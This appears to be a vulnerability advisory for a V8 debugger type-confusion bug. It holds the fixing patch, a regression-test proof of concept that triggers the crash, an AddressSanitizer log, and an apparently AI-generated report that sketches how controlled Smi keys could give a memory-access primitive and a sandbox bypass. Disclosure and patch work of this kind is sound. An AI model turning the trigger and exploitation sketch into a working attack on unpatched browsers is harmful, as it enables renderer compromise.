CVE-2026-79227
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
forsrc/debug/debug-evaluate.cc |
modified | |
iftest/debugger/regress/regress-532162132.js |
modified |
Files Changed
src/debug/debug-evaluate.ccsrc/debug/debug-scopes.cctest/debugger/regress/regress-532162132.js
Patch
From 16438c8268cba51b5b3fd62d8b997d3962430868 Mon Sep 17 00:00:00 2001
From: Yang Guo <yangguo@chromium.org>
Date: Wed, 08 Jul 2026 11:36:10 +0000
Subject: [PATCH] [debug] Skip numeric property keys when synchronizing scopes
When synchronizing variable values between the debugger and the execution context (`DebugEvaluate::ContextBuilder::UpdateValues` and `ScopeIterator::VisitLocalScope`), `KeyAccumulator::GetKeys` is called on the scope's materialized object (`element.materialized_object`) or `extension_object` (`context_->extension_object()`).
Previously, `KeyAccumulator::GetKeys` was called without skipping indices (`skip_indices = false`) and with default number conversion. If numeric/indexed properties exist on a scope's materialized or extension object (e.g., when a local function returns `this` exposing the materialized object, and an indexed property `obj[0] = 1` is assigned), `GetKeys` returns `Smi` or `HeapNumber` keys. The iteration over `keys` then performs an unchecked `Cast<String>` where `Smi` integers are treated as `String` object pointers.
Because valid JavaScript local identifiers and `eval`-introduced variables are always non-numeric strings and never array/integer indices, this CL explicitly passes `skip_indices = true` and `GetKeysConversion::kConvertToString` to `KeyAccumulator::GetKeys()` across both `debug-evaluate.cc` and `debug-scopes.cc`.
TAG=agy
CONV=287739c1-2bf8-4a93-b61b-7a01f6c60f42
Fixed: 532162132
Change-Id: I4e888d529ba5b0febd7851868a892d67fb744520
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8064952
Reviewed-by: Simon Zünd <szuend@chromium.org>
Commit-Queue: Simon Zünd <szuend@chromium.org>
Auto-Submit: Yang Guo <yangguo@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108523}
---
diff --git a/src/debug/debug-evaluate.cc b/src/debug/debug-evaluate.cc
index 6a92acb..d14f680 100644
--- a/src/debug/debug-evaluate.cc
+++ b/src/debug/debug-evaluate.cc
@@ -286,9 +286,10 @@
for (ContextChainElement& element : context_chain_) {
if (!element.materialized_object.is_null()) {
DirectHandle<FixedArray> keys =
- KeyAccumulator::GetKeys(isolate_, element.materialized_object,
- KeyCollectionMode::kOwnOnly,
- ENUMERABLE_STRINGS)
+ KeyAccumulator::GetKeys(
+ isolate_, element.materialized_object,
+ KeyCollectionMode::kOwnOnly, ENUMERABLE_STRINGS,
+ GetKeysConversion::kConvertToString, false, true)
.ToHandleChecked();
uint32_t keys_len = keys->ulength().value();
diff --git a/src/debug/debug-scopes.cc b/src/debug/debug-scopes.cc
index ce8e4ee..5b83562 100644
--- a/src/debug/debug-scopes.cc
+++ b/src/debug/debug-scopes.cc
@@ -1098,7 +1098,9 @@
DirectHandle<JSObject> extension(context_->extension_object(), isolate_);
DirectHandle<FixedArray> keys =
KeyAccumulator::GetKeys(isolate_, extension,
- KeyCollectionMode::kOwnOnly, ENUMERABLE_STRINGS)
+ KeyCollectionMode::kOwnOnly, ENUMERABLE_STRINGS,
+ GetKeysConversion::kConvertToString, false,
+ true)
.ToHandleChecked();
uint32_t keys_len = keys->ulength().value();
diff --git a/test/debugger/regress/regress-532162132.js b/test/debugger/regress/regress-532162132.js
new file mode 100644
index 0000000..d0dc3aa
--- /dev/null
+++ b/test/debugger/regress/regress-532162132.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --enable-inspector
+
+let next_id = 2;
+function receive(message) {
+ let msg = JSON.parse(message);
+ if (msg.method === "Debugger.paused") {
+ let callFrameId = msg.params.callFrames[0].callFrameId;
+ send(JSON.stringify({
+ id: next_id++,
+ method: "Debugger.evaluateOnCallFrame",
+ params: {
+ callFrameId: callFrameId,
+ expression: "var obj = local_func(); obj[0] = 1;"
+ }
+ }));
+ } else if (msg.id === 2) {
+ print("Eval result:", JSON.stringify(msg));
+ send(JSON.stringify({id: next_id++, method: "Debugger.resume"}));
+ }
+}
+send(JSON.stringify({id: 1, method: "Debugger.enable"}));
+function test() {
+ var x = 123;
+ var local_func = function() { return this; };
+ debugger;
+}
+test();
Regression Test / PoC
diff --git a/test/debugger/regress/regress-532162132.js b/test/debugger/regress/regress-532162132.js
new file mode 100644
index 0000000..d0dc3aa
--- /dev/null
+++ b/test/debugger/regress/regress-532162132.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --enable-inspector
+
+let next_id = 2;
+function receive(message) {
+ let msg = JSON.parse(message);
+ if (msg.method === "Debugger.paused") {
+ let callFrameId = msg.params.callFrames[0].callFrameId;
+ send(JSON.stringify({
+ id: next_id++,
+ method: "Debugger.evaluateOnCallFrame",
+ params: {
+ callFrameId: callFrameId,
+ expression: "var obj = local_func(); obj[0] = 1;"
+ }
+ }));
+ } else if (msg.id === 2) {
+ print("Eval result:", JSON.stringify(msg));
+ send(JSON.stringify({id: next_id++, method: "Debugger.resume"}));
+ }
+}
+send(JSON.stringify({id: 1, method: "Debugger.enable"}));
+function test() {
+ var x = 123;
+ var local_func = function() { return this; };
+ debugger;
+}
+test();
Original Bug Report
Type confusion in V8 debugger scope synchronization via unchecked Smi cast
Flapjack has identified a security issue and generated a PoC.
Build variant: Asan
Build arguments: is_asan=true is_debug=false dcheck_always_on=false symbol_level=1 v8_enable_memory_corruption_api=true v8_enable_sandbox=true
Shell command: d8 --run-as-security-poc --omit-quit --enable-inspector --disable-in-process-stack-traces
Return code: 134
<details>
<summary>stdout</summary>
</details>
<details>
<summary>stderr</summary>
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1492==ERROR: AddressSanitizer: SEGV on unknown address 0x7895ffffffff (pc 0x5df37d085a5c bp 0x7fff6184bbb0 sp 0x7fff6184baa0 T0)
==1492==The signal is caused by a READ memory access.
#0 0x5df37d085a5c in v8::internal::DebugEvaluate::ContextBuilder::UpdateValues() third_party/libc++/src/include/__atomic/atomic_ref.h:152:5
#1 0x5df37d0852c1 in v8::internal::DebugEvaluate::Local(v8::internal::Isolate*, v8::internal::StackFrameId, int, v8::internal::DirectHandle<v8::internal::String>, bool) v8/src/debug/debug-evaluate.cc:126:48
#2 0x5df37d0c0fdd in v8::internal::DebugStackTraceIterator::Evaluate(v8::Local<v8::String>, bool) v8/src/debug/debug-stack-trace-iterator.cc:268:8
#3 0x5df3800d81c4 in v8_inspector::V8DebuggerAgentImpl::evaluateOnCallFrame(v8_inspector::String16 const&, v8_inspector::String16 const&, std::__Cr::optional<v8_inspector::String16>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<bool>, std::__Cr::optional<double>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::RemoteObject, std::__Cr::default_delete<v8_inspector::protocol::Runtime::RemoteObject>>*, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::ExceptionDetails, std::__Cr::default_delete<v8_inspector::protocol::Runtime::ExceptionDetails>>*) v8/src/inspector/v8-debugger-agent-impl.cc:1797:28
#4 0x5df380007193 in v8_inspector::protocol::Debugger::DomainDispatcherImpl::evaluateOnCallFrame(v8_crdtp::Dispatchable&) gen/v8/src/inspector/protocol/Debugger.cpp:728:44
#5 0x5df380005b82 in v8_inspector::protocol::Debugger::DomainDispatcherImpl::Dispatch(std::__Cr::span<unsigned char const, 18446744073709551615ul>, v8_crdtp::Dispatchable&) gen/v8/src/inspector/protocol/Debugger.cpp:579:3
#6 0x5df3801b56ad in v8_crdtp::UberDispatcher::Dispatch(v8_crdtp::Dispatchable&) v8/third_party/inspector_protocol/crdtp/dispatch.cc:553:23
#7 0x5df38014c6a3 in v8_inspector::V8InspectorSessionImpl::dispatchProtocolMessage(v8_inspector::StringView, v8_inspector::StringView) v8/src/inspector/v8-inspector-session-impl.cc:411:16
#8 0x5df37cb376e2 in v8::InspectorClient::SendInspectorMessage(v8::FunctionCallbackInfo<v8::Value> const&) v8/src/d8/d8.cc:5912:16
#9 0x5df382aa6693 in Builtins_CallApiCallbackGeneric crtstuff.c
#10 0x5df382aa4940 in Builtins_InterpreterEntryTrampoline crtstuff.c
#11 0x5df382aa16db in Builtins_JSEntryTrampoline crtstuff.c
#12 0x5df382aa142a in Builtins_JSEntry crtstuff.c
#13 0x5df37d1974a9 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:483:22
#14 0x5df37d195dd9 in v8::internal::Execution::Call(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::base::Vector<v8::internal::DirectHandle<v8::internal::Object> const>) v8/src/execution/execution.cc:573:10
#15 0x5df37cdf26ad in v8::Function::Call(v8::Isolate*, v8::Local<v8::Context>, v8::Local<v8::Value>, int, v8::Local<v8::Value>*) v8/src/api/api.cc:5671:27
#16 0x5df37cb38fe2 in v8::InspectorFrontend::Send(v8_inspector::StringView const&) v8/src/d8/d8.cc:5801:36
#17 0x5df37cb38ac7 in v8::InspectorFrontend::sendNotification(std::__Cr::unique_ptr<v8_inspector::StringBuffer, std::__Cr::default_delete<v8_inspector::StringBuffer>>) v8/src/d8/d8.cc:5770:5
#18 0x5df38000453f in v8_inspector::protocol::Debugger::Frontend::paused(std::__Cr::unique_ptr<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>, std::__Cr::default_delete<std::__Cr::vector<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>, std::__Cr::allocator<std::__Cr::unique_ptr<v8_inspector::protocol::Debugger::CallFrame, std::__Cr::default_delete<v8_inspector::protocol::Debugger::CallFrame>>>>>>, v8_inspector::String16 const&, std::__Cr::unique_ptr<v8_inspector::protocol::DictionaryValue, std::__Cr::default_delete<v8_inspector::protocol::DictionaryValue>>, std::__Cr::unique_ptr<std::__Cr::vector<v8_inspector::String16, std::__Cr::allocator<v8_inspector::String16>>, std::__Cr::default_delete<std::__Cr::vector<v8_inspector::String16, std::__Cr::allocator<v8_inspector::String16>>>>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::StackTrace, std::__Cr::default_delete<v8_inspector::protocol::Runtime::StackTrace>>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::StackTraceId, std::__Cr::default_delete<v8_inspector::protocol::Runtime::StackTraceId>>, std::__Cr::unique_ptr<v8_inspector::protocol::Runtime::StackTraceId, std::__Cr::default_delete<v8_inspector::protocol::Runtime::StackTraceId>>) gen/v8/src/inspector/protocol/Debugger.cpp:303:24
#19 0x5df3800ba0f4 in v8_inspector::V8DebuggerAgentImpl::didPause(int, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::debug::ExceptionType, bool, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/inspector/v8-debugger-agent-impl.cc:2525:14
#20 0x5df3801129ce in void std::__Cr::__function::__policy_func<void (v8_inspector::V8InspectorSessionImpl*)>::__call_func<v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool)::$_1>(std::__Cr::__function::__policy_storage const*, v8_inspector::V8InspectorSessionImpl*) v8/src/inspector/v8-debugger.cc:533:37
#21 0x5df3801359a5 in v8_inspector::V8InspectorImpl::forEachSession(int, std::__Cr::function<void (v8_inspector::V8InspectorSessionImpl*)> const&) third_party/libc++/src/include/__functional/function.h:502:12
#22 0x5df3800ffa88 in v8_inspector::V8Debugger::handleProgramBreak(v8::Local<v8::Context>, v8::Local<v8::Value>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>, v8::debug::ExceptionType, bool) v8/src/inspector/v8-debugger.cc:528:16
#23 0x5df3801008f4 in v8_inspector::V8Debugger::BreakProgramRequested(v8::Local<v8::Context>, std::__Cr::vector<int, std::__Cr::allocator<int>> const&, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/inspector/v8-debugger.cc:680:3
#24 0x5df37d0ccb7e in v8::internal::Debug::OnDebugBreak(v8::internal::DirectHandle<v8::internal::FixedArray>, v8::internal::StepAction, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/debug/debug.cc:2673:22
#25 0x5df37d0e33c6 in v8::internal::Debug::HandleDebugBreak(v8::internal::IgnoreBreakMode, v8::base::EnumSet<v8::debug::BreakReason, int>) v8/src/debug/debug.cc:2946:3
#26 0x5df37e3a8fef in v8::internal::Runtime_HandleDebuggerStatement(int, unsigned long*, v8::internal::Isolate*) v8/src/runtime/runtime-debug.cc:182:23
#27 0x5df382b5df75 in Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit crtstuff.c
#28 0x5df382c821b3 in Builtins_DebuggerHandler crtstuff.c
#29 0x5df382aa4940 in Builtins_InterpreterEntryTrampoline crtstuff.c
#30 0x5df382aa4940 in Builtins_InterpreterEntryTrampoline crtstuff.c
#31 0x5df382aa16db in Builtins_JSEntryTrampoline crtstuff.c
#32 0x5df382aa142a in Builtins_JSEntry crtstuff.c
#33 0x5df37d1974a9 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:483:22
#34 0x5df37d199ab1 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) v8/src/execution/execution.cc:583:10
#35 0x5df37cdc8863 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) v8/src/api/api.cc:2048:7
#36 0x5df37cacd3f4 in v8::Shell::ExecuteSource(v8::Isolate*, v8::Shell::Source const&, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) v8/src/d8/d8.cc:1150:44
#37 0x5df37cb0fe00 in v8::SourceGroup::Execute(v8::Isolate*) v8/src/d8/d8.cc:6200:12
#38 0x5df37cb1d6bc in v8::Shell::RunMainIsolate(v8::Isolate*, bool) v8/src/d8/d8.cc:7241:37
#39 0x5df37cb1cb5d in v8::Shell::RunMain(v8::Isolate*, bool) v8/src/d8/d8.cc:7147:18
#40 0x5df37cb20eb9 in v8::Shell::Main(int, char**) v8/src/d8/d8.cc:8093:18
#41 0x7ddef6a711c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#42 0x7ddef6a7128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 8e9fd827446c24067541ac5390e6f527fb5947bb)
#43 0x5df37c9b6029 in _start (/home/rjlothian_google_com/chromium_ro/src/out/Asan/d8+0x1526029) (BuildId: a3b98e30abd72867)
==1492==Register values:
rax = 0x00007c2ef5ded210 rbx = 0x00007fff6184baa0 rcx = 0x0000000000000000 rdx = 0x00000f9ddebbc245
rdi = 0x00007a0ef5e2cc98 rsi = 0x00005df38426f420 rbp = 0x00007fff6184bbb0 rsp = 0x00007fff6184baa0
r8 = 0x0000000000000000 r9 = 0x00007ceef5de1000 r10 = 0x00007c2ef5ded460 r11 = 0x0000000000000004
r12 = 0x00007c2ef5ded428 r13 = 0x00000f12bfffffff r14 = 0x00007895ffffffff r15 = 0x000079def4c2c6e0
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV third_party/libc++/src/include/__atomic/atomic_ref.h:152:5 in v8::internal::DebugEvaluate::ContextBuilder::UpdateValues()
==1492==ABORTING
</details>
Overview: A type confusion vulnerability exists in V8’s debugger scope synchronization logic when handling numeric property keys. Because KeyAccumulator::GetKeys retains array indices as Smi objects by default, an unchecked Cast<String> causes these integers to be treated as String object pointers. An attacker can trigger this during a debugging session to achieve arbitrary memory access and potentially bypass the V8 Sandbox.
Affected files:
v8/src/debug/debug-evaluate.ccv8/src/debug/debug-scopes.cc
Estimated timestamp from git blame: 2018-06-18
Root Cause
When synchronizing variables between the debugger and the execution context, V8 iterates over the keys of scope objects in DebugEvaluate::ContextBuilder::UpdateValues() (v8/src/debug/debug-evaluate.cc) and ScopeIterator::VisitLocalScope() (v8/src/debug/debug-scopes.cc).
Keys are retrieved using KeyAccumulator::GetKeys with the ENUMERABLE_STRINGS filter. However, this filter does not skip array indices, and the function defaults to GetKeysConversion::kKeepNumbers and skip_indices = false. Consequently, if an object has numeric properties, they are returned as Smi (or HeapNumber) objects instead of Strings.
The code assumes all returned keys are strings and performs a cast:
for (uint32_t i = 0; i < keys_len; i++) {
DCHECK(IsString(keys->get(i))); // Compiles to a no-op in Release builds
Handle<String> key(Cast<String>(keys->get(i)), isolate_);
// ... JSReceiver::GetDataProperty(isolate_, extension, key);
}
In release builds, Cast<String> delegates to an unchecked bitwise cast. A Smi value is thereby forcibly treated as a tagged String pointer.
Exploitation and Impact
During a debugger evaluateOnCallFrame event, the context’s materialized_object is exposed if a local function returns this. An attacker can assign an indexed property to it (e.g., obj[0] = 1).
When execution resumes, UpdateValues() encounters this Smi key. The fake String is passed to JSReceiver::GetDataProperty(), which constructs a LookupIterator. The iterator subsequently dereferences the fake string pointer (subtracting kHeapObjectTag (1) from the Smi’s bitwise representation). Because the attacker fully controls the Smi value, they control the memory address V8 attempts to dereference.
By ensuring this address points to a sprayed fake String object in the sandbox heap, the attacker achieves a powerful primitive that can be leveraged to bypass the V8 Sandbox. While it requires an active debugging session (CDTP), this constitutes a valid and high-severity renderer memory corruption vulnerability.
Suggested Fix
In both debug-evaluate.cc and debug-scopes.cc, explicitly provide GetKeysConversion::kConvertToString (or pass skip_indices = true) to the KeyAccumulator::GetKeys calls. This ensures any numeric keys are safely converted to string representations before the loop encounters them:
DirectHandle<FixedArray> keys =
KeyAccumulator::GetKeys(isolate_, element.materialized_object,
KeyCollectionMode::kOwnOnly,
ENUMERABLE_STRINGS,
GetKeysConversion::kConvertToString)
.ToHandleChecked();
Evaluated with Chrome root at commit: e90946bb1b0c143a02180dd070c9ce75d4d0b935
The description of the vuln is LLM-generated and can contain mistakes. Your feedback is appreciated, and will help us make improvement over time. The PoC was run in a VM and it seemed to be legit - if not, let us know and we can strengthen our checker. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.